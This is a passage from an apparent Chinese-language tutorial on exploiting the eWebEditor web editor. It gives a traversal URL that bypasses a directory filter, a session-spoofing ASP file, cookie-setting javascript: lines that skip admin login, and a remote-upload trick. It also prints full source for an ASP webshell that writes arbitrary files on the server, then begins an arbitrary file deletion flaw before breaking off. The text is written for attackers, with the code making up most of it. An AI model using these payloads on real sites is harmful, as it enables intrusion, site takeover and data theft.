Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" & aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" & aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" & aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" & aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select
sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址
sDir = Trim(Request("dir")) '得到dir变量
sDir = Replace(sDir, "\", "/") '对dir变量进行过滤
sDir = Replace(sDir, "../", "")
sDir = Replace(sDir, "./", "")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
sCurrDir = sUploadDir & sDir & "/"
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出
Else
sDir = ""
End If
End If
End Sub
利用方式如下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了!
8、session欺骗漏洞!
适用于一些设置不当的虚拟主机。当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!顺序如下:
新建一个.asp文件,内容如下: <%Session("eWebEditor_User") = "123132323"%> 然后访问这个文件,再访问ewebeditor/admin_default.asp !欺骗进入后台!不过很老了!
9、 后台跳过认证漏洞!
访问后台登陆页面!随便输入帐号密码,返回错误!然后清空浏览器,在地址栏输入
javascript:alert(document.cookie="adminuser="+escape("admin"));
javascript:alert(document.cookie="adminpass="+escape("admin"));
javascript:alert(document.cookie="admindj="+escape("1"));
然后再清空地址栏,在路径里输入后台登陆后的页面,比如: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!
10、利用远程上传功能!
比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp 但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马!
利用代码如下:
首先建立1.gif.asp 代码如下
<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
利用上面说的远程上传的方式!可以得到webshell!成功率取决于,虚拟主机的安全设置!
11、任意文件删除漏洞!
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
《ewebeditor漏洞利用总结》相关文章